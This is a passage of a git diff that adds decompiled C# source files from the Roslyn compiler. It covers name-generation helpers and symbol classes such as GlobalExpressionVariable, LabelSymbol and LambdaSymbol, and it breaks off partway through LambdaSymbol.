MakeMethodScopedSynthesizedName(GeneratedNameKind.LambdaCacheField, methodOrdinal, generation, null, null, '\0', lambdaOrdinal, lambdaGeneration); + } + + internal static string MakeLocalFunctionName(string methodName, string localFunctionName, int methodOrdinal, int methodGeneration, int lambdaOrdinal, int lambdaGeneration) + { + return MakeMethodScopedSynthesizedName(GeneratedNameKind.LocalFunction, methodOrdinal, methodGeneration, methodName, localFunctionName, '|', lambdaOrdinal, lambdaGeneration); + } + + private static string MakeMethodScopedSynthesizedName(GeneratedNameKind kind, int methodOrdinal, int methodGeneration, string? methodName = null, string? suffix = null, char suffixTerminator = '\0', int entityOrdinal = -1, int entityGeneration = -1) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append('<'); + if (methodName != null) + { + builder.Append(methodName); + if (kind.IsTypeName()) + { + builder.Replace('.', '-'); + } + } + builder.Append('>'); + builder.Append((char)kind); + if (suffix != null || methodOrdinal >= 0 || entityOrdinal >= 0) + { + builder.Append("__"); + builder.Append(suffix); + if (suffixTerminator != 0) + { + builder.Append(suffixTerminator); + } + if (methodOrdinal >= 0) + { + builder.Append(methodOrdinal); + AppendOptionalGeneration(builder, methodGeneration); + } + if (entityOrdinal >= 0) + { + if (methodOrdinal >= 0) + { + builder.Append('_'); + } + builder.Append(entityOrdinal); + AppendOptionalGeneration(builder, entityGeneration); + } + } + return instance.ToStringAndFree(); + } + + private static void AppendOptionalGeneration(StringBuilder builder, int generation) + { + if (generation > 0) + { + builder.Append('#'); + builder.Append(generation); + } + } + + internal static string MakeHoistedLocalFieldName(SynthesizedLocalKind kind, int slotIndex, string? localName = null) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append('<'); + if (localName != null) + { + builder.Append(localName); + } + builder.Append('>'); + if ((int)kind == 30) + { + builder.Append('8'); + } + else if ((int)kind == 0) + { + builder.Append('5'); + } + else + { + builder.Append('s'); + } + builder.Append("__"); + builder.Append(slotIndex + 1); + return instance.ToStringAndFree(); + } + + internal static string AsyncAwaiterFieldName(int slotIndex) + { + return "<>u__" + StringExtensions.GetNumeral(slotIndex + 1); + } + + internal static string MakeCachedFrameInstanceFieldName() + { + return "<>9"; + } + + internal static string? MakeSynthesizedLocalName(SynthesizedLocalKind kind, ref int uniqueId) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Invalid comparison between Unknown and I4 + if ((int)kind == 30) + { + return MakeLambdaDisplayLocalName(uniqueId++); + } + return null; + } + + internal static string MakeSynthesizedInstrumentationPayloadLocalFieldName(int uniqueId) + { + return "CS$InstrumentationPayload" + StringExtensions.GetNumeral(uniqueId); + } + + internal static string MakeLambdaDisplayLocalName(int uniqueId) + { + return "CS$<>8__locals" + StringExtensions.GetNumeral(uniqueId); + } + + internal static string MakeFixedFieldImplementationName(string fieldName) + { + return "<" + fieldName + ">e__FixedBuffer"; + } + + internal static string MakeStateMachineStateFieldName() + { + return "<>1__state"; + } + + internal static string MakeAsyncIteratorPromiseOfValueOrEndFieldName() + { + return "<>v__promiseOfValueOrEnd"; + } + + internal static string MakeAsyncIteratorCombinedTokensFieldName() + { + return "<>x__combinedTokens"; + } + + internal static string MakeIteratorCurrentFieldName() + { + return "<>2__current"; + } + + internal static string MakeDisposeModeFieldName() + { + return "<>w__disposeMode"; + } + + internal static string MakeIteratorCurrentThreadIdFieldName() + { + return "<>l__initialThreadId"; + } + + internal static string MakeStateMachineStateIdFieldName() + { + return "<>I"; + } + + internal static string ThisProxyFieldName() + { + return "<>4__this"; + } + + internal static string StateMachineThisParameterProxyName() + { + return StateMachineParameterProxyFieldName(ThisProxyFieldName()); + } + + internal static string StateMachineParameterProxyFieldName(string parameterName) + { + return "<>3__" + parameterName; + } + + internal static string MakeDynamicCallSiteContainerName(int methodOrdinal, int localFunctionOrdinal, int generation) + { + return MakeMethodScopedSynthesizedName(GeneratedNameKind.DynamicCallSiteContainerType, methodOrdinal, generation, null, (localFunctionOrdinal != -1) ? localFunctionOrdinal.ToString() : null, (localFunctionOrdinal != -1) ? '_' : '\0'); + } + + internal static string MakeDynamicCallSiteFieldName(int uniqueId) + { + return "<>p__" + StringExtensions.GetNumeral(uniqueId); + } + + internal static string MakeSynthesizedDelegateName(RefKindVector byRefs, bool returnsVoid, int generation) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(returnsVoid ? "<>A" : "<>F"); + if (!byRefs.IsNull) + { + builder.Append(byRefs.ToRefKindString()); + } + AppendOptionalGeneration(builder, generation); + return instance.ToStringAndFree(); + } + + internal static bool TryParseSynthesizedDelegateName(string name, out RefKindVector byRefs, out bool returnsVoid, out int generation, out int parameterCount) + { + byRefs = default(RefKindVector); + parameterCount = 0; + generation = 0; + short num = default(short); + name = MetadataHelpers.InferTypeArityAndUnmangleMetadataName(name, ref num); + returnsVoid = name.StartsWith("<>A"); + if (!returnsVoid && !name.StartsWith("<>F")) + { + return false; + } + parameterCount = (int)num - ((!returnsVoid) ? 1 : 0); + int num2 = name.LastIndexOf('}'); + if (num2 < 0) + { + num2 = 2; + } + else + { + if (name.Length <= 3 || name[3] != '{') + { + return false; + } + if (!RefKindVector.TryParse(name.Substring(4, num2 - 4), num, out byRefs)) + { + return false; + } + } + if (num2 < name.Length - 1) + { + if (name[num2 + 1] != '#') + { + return false; + } + string text = name; + int num3 = num2 + 2; + if (!int.TryParse(text.Substring(num3, text.Length - num3), out generation)) + { + return false; + } + } + return true; + } + + internal static string MakeSynthesizedInlineArrayName(int arrayLength, int generation) + { + string text = "<>y__InlineArray" + arrayLength; + if (generation <= 0) + { + return text; + } + return text + "#" + generation; + } + + internal static string MakeSynthesizedReadOnlyListName(bool hasKnownLength, int generation) + { + string text = (hasKnownLength ? "<>z__ReadOnlyArray" : "<>z__ReadOnlyList"); + if (generation <= 0) + { + return text; + } + return text + "#" + generation; + } + + internal static string AsyncBuilderFieldName() + { + return "<>t__builder"; + } + + internal static string DelegateCacheContainerType(int generation, string? methodName = null, int methodOrdinal = -1, int ownerUniqueId = -1) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append('<').Append(methodName).Append('>') + .Append('O'); + if (methodOrdinal > -1) + { + builder.Append("__").Append(methodOrdinal); + } + if (ownerUniqueId > -1) + { + builder.Append('_').Append(ownerUniqueId); + } + AppendOptionalGeneration(builder, generation); + return instance.ToStringAndFree(); + } + + internal static string DelegateCacheContainerFieldName(int id, string targetMethod) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + instance.Builder.Append('<').Append(id).Append(">__") + .Append(targetMethod); + return instance.ToStringAndFree(); + } + + internal static string ReusableHoistedLocalFieldName(int number) + { + return "<>7__wrap" + StringExtensions.GetNumeral(number); + } + + internal static string LambdaCopyParameterName(int ordinal) + { + return ""; + } + + internal static string AnonymousDelegateParameterName(int index, int parameterCount) + { + if (parameterCount == 1) + { + return "arg"; + } + return "arg" + StringExtensions.GetNumeral(index + 1); + } + + internal static string MakeFileTypeMetadataNamePrefix(string filePath, ImmutableArray checksumOpt) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append('<'); + AppendFileName(filePath, builder); + builder.Append('>'); + builder.Append('F'); + if (checksumOpt.IsDefault) + { + builder.Append(""); + } + else + { + ImmutableArray.Enumerator enumerator = checksumOpt.GetEnumerator(); + while (enumerator.MoveNext()) + { + byte current = enumerator.Current; + builder.AppendFormat("{0:X2}", current); + } + } + builder.Append("__"); + return instance.ToStringAndFree(); + } + + internal static string GetDisplayFilePath(string filePath) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + AppendFileName(filePath, instance.Builder); + return instance.ToStringAndFree(); + } + + private static void AppendFileName(string filePath, StringBuilder sb) + { + string fileName = FileNameUtilities.GetFileName(filePath, false); + if (fileName == null) + { + return; + } + string text = fileName; + foreach (char c in text) + { + char value; + switch (c) + { + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + case 'g': + case 'h': + case 'i': + case 'j': + case 'k': + case 'l': + case 'm': + case 'n': + case 'o': + case 'p': + case 'q': + case 'r': + case 's': + case 't': + case 'u': + case 'v': + case 'w': + case 'x': + case 'y': + case 'z': + value = c; + break; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + value = c; + break; + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + value = c; + break; + default: + value = '_'; + break; + } + sb.Append(value); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GlobalExpressionVariable.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GlobalExpressionVariable.cs new file mode 100644 index 0000000..b301595 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/GlobalExpressionVariable.cs @@ -0,0 +1,149 @@ +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class GlobalExpressionVariable : SourceMemberFieldSymbol +{ + private class InferrableGlobalExpressionVariable : GlobalExpressionVariable + { + private readonly FieldSymbol _containingFieldOpt; + + private readonly SyntaxReference _nodeToBind; + + internal InferrableGlobalExpressionVariable(SourceMemberContainerTypeSymbol containingType, DeclarationModifiers modifiers, TypeSyntax typeSyntax, string name, SyntaxReference syntax, TextSpan locationSpan, FieldSymbol containingFieldOpt, SyntaxNode nodeToBind) + : base(containingType, modifiers, typeSyntax, name, syntax, locationSpan) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + _containingFieldOpt = containingFieldOpt; + _nodeToBind = nodeToBind.GetReference(); + } + + protected override void InferFieldType(ConsList fieldsBeingBound, Binder binder) + { + SyntaxNode syntax = _nodeToBind.GetSyntax(default(CancellationToken)); + if ((object)_containingFieldOpt != null && syntax.Kind() != SyntaxKind.VariableDeclarator) + { + binder = binder.WithContainingMemberOrLambda(_containingFieldOpt).WithAdditionalFlags(BinderFlags.FieldInitializer); + } + fieldsBeingBound = new ConsList((FieldSymbol)this, fieldsBeingBound); + binder = new ImplicitlyTypedFieldBinder(binder, fieldsBeingBound); + if (syntax.Kind() == SyntaxKind.VariableDeclarator) + { + binder.BindDeclaratorArguments((VariableDeclaratorSyntax)(object)syntax, BindingDiagnosticBag.Discarded); + } + else + { + binder.BindExpression((ExpressionSyntax)(object)syntax, BindingDiagnosticBag.Discarded); + } + } + } + + private TypeWithAnnotations.Boxed _lazyType; + + private readonly SyntaxReference _typeSyntaxOpt; + + protected override SyntaxList AttributeDeclarationSyntaxList => default(SyntaxList); + + protected override TypeSyntax TypeSyntax + { + get + { + SyntaxReference typeSyntaxOpt = _typeSyntaxOpt; + return (TypeSyntax)(object)((typeSyntaxOpt != null) ? typeSyntaxOpt.GetSyntax(default(CancellationToken)) : null); + } + } + + protected override SyntaxTokenList ModifiersTokenList => default(SyntaxTokenList); + + public override bool HasInitializer => false; + + public sealed override RefKind RefKind => (RefKind)0; + + internal GlobalExpressionVariable(SourceMemberContainerTypeSymbol containingType, DeclarationModifiers modifiers, TypeSyntax typeSyntax, string name, SyntaxReference syntax, TextSpan locationSpan) + : base(containingType, modifiers, name, syntax, locationSpan) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + _typeSyntaxOpt = typeSyntax?.GetReference(); + } + + internal static GlobalExpressionVariable Create(SourceMemberContainerTypeSymbol containingType, DeclarationModifiers modifiers, TypeSyntax typeSyntax, string name, SyntaxNode syntax, TextSpan locationSpan, FieldSymbol containingFieldOpt, SyntaxNode nodeToBind) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + SyntaxReference reference = syntax.GetReference(); + if (typeSyntax != null && !typeSyntax.SkipScoped(out var _).SkipRef().IsVar) + { + return new GlobalExpressionVariable(containingType, modifiers, typeSyntax, name, reference, locationSpan); + } + return new InferrableGlobalExpressionVariable(containingType, modifiers, typeSyntax, name, reference, locationSpan, containingFieldOpt, nodeToBind); + } + + protected override ConstantValue MakeConstantValue(HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics) + { + return null; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + if (_lazyType != null) + { + return _lazyType.Value; + } + TypeSyntax typeSyntax = TypeSyntax; + CSharpCompilation declaringCompilation = DeclaringCompilation; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + Binder binder = declaringCompilation.GetBinderFactory(base.SyntaxTree).GetBinder((SyntaxNode)(object)(typeSyntax ?? base.SyntaxNode)); + TypeWithAnnotations type; + bool isVar; + if (typeSyntax != null) + { + type = binder.BindTypeOrVarKeyword(typeSyntax.SkipScoped(out var _).SkipRef(), instance, out isVar); + } + else + { + isVar = true; + type = default(TypeWithAnnotations); + } + if (isVar && !ConsListExtensions.ContainsReference(fieldsBeingBound, (FieldSymbol)this)) + { + InferFieldType(fieldsBeingBound, binder); + } + else + { + if (isVar) + { + instance.Add(ErrorCode.ERR_RecursivelyTypedVariable, ErrorLocation, this); + type = TypeWithAnnotations.Create(binder.CreateErrorType("var")); + } + SetType(instance, type); + } + ((BindingDiagnosticBag)(object)instance).Free(); + return _lazyType.Value; + } + + private TypeWithAnnotations SetType(BindingDiagnosticBag diagnostics, TypeWithAnnotations type) + { + _ = _lazyType?.Value; + if (Interlocked.CompareExchange(ref _lazyType, new TypeWithAnnotations.Boxed(type), null) == null) + { + TypeChecks(type.Type, diagnostics); + AddDeclarationDiagnostics(diagnostics); + state.NotePartComplete(CompletionPart.Type); + } + return _lazyType.Value; + } + + internal TypeWithAnnotations SetTypeWithAnnotations(TypeWithAnnotations type, BindingDiagnosticBag diagnostics) + { + return SetType(diagnostics, type); + } + + protected virtual void InferFieldType(ConsList fieldsBeingBound, Binder binder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/GlobalExpressionVariable.cs", 159); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/IAttributeTargetSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/IAttributeTargetSymbol.cs new file mode 100644 index 0000000..63dec28 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/IAttributeTargetSymbol.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal interface IAttributeTargetSymbol +{ + IAttributeTargetSymbol AttributesOwner { get; } + + AttributeLocation AllowedAttributeLocations { get; } + + AttributeLocation DefaultAttributeLocation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ImplicitNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ImplicitNamedTypeSymbol.cs new file mode 100644 index 0000000..f9a8c1c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ImplicitNamedTypeSymbol.cs @@ -0,0 +1,136 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ImplicitNamedTypeSymbol : SourceMemberContainerTypeSymbol +{ + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics + { + get + { + if (!IsScriptClass) + { + return DeclaringCompilation.GetSpecialType((SpecialType)1); + } + return null; + } + } + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => ImmutableArray.Empty; + + public sealed override bool AreLocalsZeroed => ContainingType?.AreLocalsZeroed ?? ContainingModule.AreLocalsZeroed; + + internal override bool IsComImport => false; + + internal override NamedTypeSymbol ComImportCoClass => null; + + internal override bool HasSpecialName => false; + + internal override bool ShouldAddWinRTMembers => false; + + internal sealed override bool IsWindowsRuntimeImport => false; + + public sealed override bool IsSerializable => false; + + internal sealed override TypeLayout Layout => default(TypeLayout); + + internal bool HasStructLayoutAttribute => false; + + internal override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + internal sealed override bool HasDeclarativeSecurity => false; + + internal override ObsoleteAttributeData ObsoleteAttributeData => null; + + internal override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal override bool IsInterpolatedStringHandlerType => false; + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + internal ImplicitNamedTypeSymbol(NamespaceOrTypeSymbol containingSymbol, MergedTypeDeclaration declaration, BindingDiagnosticBag diagnostics) + : base(containingSymbol, declaration, diagnostics) + { + state.NotePartComplete(CompletionPart.EnumUnderlyingType); + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/ImplicitNamedTypeSymbol.cs", 32); + } + + public override ImmutableArray GetAttributes() + { + state.NotePartComplete(CompletionPart.Attributes); + return ImmutableArray.Empty; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return AttributeUsageInfo.Null; + } + + protected override Location GetCorrespondingBaseListLocation(NamedTypeSymbol @base) + { + return NoLocation.Singleton; + } + + protected override void CheckBase(BindingDiagnosticBag diagnostics) + { + diagnostics.ReportUseSite(DeclaringCompilation.GetSpecialType((SpecialType)1), GetFirstLocation()); + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return BaseTypeNoUseSiteDiagnostics; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + protected override void CheckInterfaces(BindingDiagnosticBag diagnostics) + { + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/ImplicitNamedTypeSymbol.cs", 153); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/ImplicitNamedTypeSymbol.cs", 170); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/IndexedTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/IndexedTypeParameterSymbol.cs new file mode 100644 index 0000000..730ac7e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/IndexedTypeParameterSymbol.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class IndexedTypeParameterSymbol : TypeParameterSymbol +{ + private static TypeParameterSymbol[] s_parameterPool = Array.Empty(); + + private readonly int _index; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)1; + + public override int Ordinal => _index; + + public override VarianceKind Variance => (VarianceKind)0; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + internal override bool? ReferenceTypeConstraintIsNullable => false; + + public override bool HasNotNullConstraint => false; + + internal override bool? IsNotNullable => null; + + public override bool HasUnmanagedTypeConstraint => false; + + public override bool HasConstructorConstraint => false; + + public override Symbol ContainingSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsImplicitlyDeclared => true; + + private IndexedTypeParameterSymbol(int index) + { + _index = index; + } + + internal static TypeParameterSymbol GetTypeParameter(int index) + { + if (index >= s_parameterPool.Length) + { + GrowPool(index + 1); + } + return s_parameterPool[index]; + } + + private static void GrowPool(int count) + { + TypeParameterSymbol[] array = s_parameterPool; + while (count > array.Length) + { + TypeParameterSymbol[] array2 = new TypeParameterSymbol[(count + 15) & -16]; + Array.Copy(array, array2, array.Length); + for (int i = array.Length; i < array2.Length; i++) + { + array2[i] = new IndexedTypeParameterSymbol(i); + } + Interlocked.CompareExchange(ref s_parameterPool, array2, array); + array = s_parameterPool; + } + } + + internal static ImmutableArray TakeSymbols(int count) + { + if (count > s_parameterPool.Length) + { + GrowPool(count); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < count; i++) + { + instance.Add(GetTypeParameter(i)); + } + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray Take(int count) + { + if (count > s_parameterPool.Length) + { + GrowPool(count); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < count; i++) + { + instance.Add(TypeWithAnnotations.Create(GetTypeParameter(i), NullableAnnotation.Ignored)); + } + return instance.ToImmutableAndFree(); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + return (object)this == t2; + } + + public override int GetHashCode() + { + return _index; + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + return null; + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/InferredDelegateTypeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/InferredDelegateTypeData.cs new file mode 100644 index 0000000..38583ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/InferredDelegateTypeData.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class InferredDelegateTypeData +{ + internal int InferredDelegateCount; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LabelSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LabelSymbol.cs new file mode 100644 index 0000000..ca6f3e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LabelSymbol.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class LabelSymbol : Symbol +{ + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override ImmutableArray Locations + { + get + { + throw new NotSupportedException(); + } + } + + internal virtual SyntaxNodeOrToken IdentifierNodeOrToken => default(SyntaxNodeOrToken); + + public virtual MethodSymbol ContainingMethod + { + get + { + throw new NotSupportedException(); + } + } + + public override Symbol ContainingSymbol + { + get + { + throw new NotSupportedException(); + } + } + + public override SymbolKind Kind => (SymbolKind)7; + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitLabel(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitLabel(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitLabel(this); + } + + protected sealed override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.LabelSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LambdaParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LambdaParameterSymbol.cs new file mode 100644 index 0000000..6d3ee82 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LambdaParameterSymbol.cs @@ -0,0 +1,34 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class LambdaParameterSymbol : SourceComplexParameterSymbolBase +{ + private readonly SyntaxList _attributeLists; + + public override bool IsDiscard { get; } + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool IsExtensionMethodThis => false; + + public LambdaParameterSymbol(LambdaSymbol owner, SyntaxReference? syntaxRef, SyntaxList attributeLists, TypeWithAnnotations parameterType, int ordinal, RefKind refKind, ScopedKind scope, string name, bool isDiscard, bool isParams, Location location) + : base(owner, ordinal, parameterType, refKind, name, location, syntaxRef, isParams, isExtensionMethodThis: false, scope) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + _attributeLists = attributeLists; + IsDiscard = isDiscard; + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(_attributeLists); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LambdaSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LambdaSymbol.cs new file mode 100644 index 0000000..641f5c4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LambdaSymbol.cs @@ -0,0 +1,360 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class LambdaSymbol : SourceMethodSymbolWithAttributes +{ + private readonly Binder _binder; + + private readonly Symbol _containingSymbol; + + private readonly MessageID _messageID; + + private readonly SyntaxNode _syntax; + + private readonly ImmutableArray _parameters; + + private RefKind _refKind; + + private TypeWithAnnotations _returnType; + + private readonly bool _isSynthesized; + + private readonly bool _isAsync; + + private readonly bool _isStatic; + + private readonly DiagnosticBag _declarationDiagnostics; + + private readonly HashSet _declarationDependencies; + + internal static readonly TypeSymbol ReturnTypeIsBeingInferred = new UnsupportedMetadataTypeSymbol(); + + internal static readonly TypeSymbol InferenceFailureReturnType = new UnsupportedMetadataTypeSymbol(); + + public MessageID MessageID => _messageID; + + public override MethodKind MethodKind => (MethodKind)0; + + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsStatic => _isStatic; + + public override bool IsAsync => _isAsync; + + internal override bool IsMetadataFinal => false; + + public override bool IsVararg => false; + + internal override bool HasSpecialName => false; + + public override bool ReturnsVoid + { + get + { + if (ReturnTypeWithAnnotations.HasType) + { + return base.ReturnType.IsVoidType(); + } + return false; + } + } + + public override RefKind RefKind => _refKind; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _returnType; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool IsExplicitInterfaceImplementation => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override Symbol? AssociatedSymbol => null; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override int Arity => 0; + + public override ImmutableArray Parameters => _parameters; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override ImmutableArray 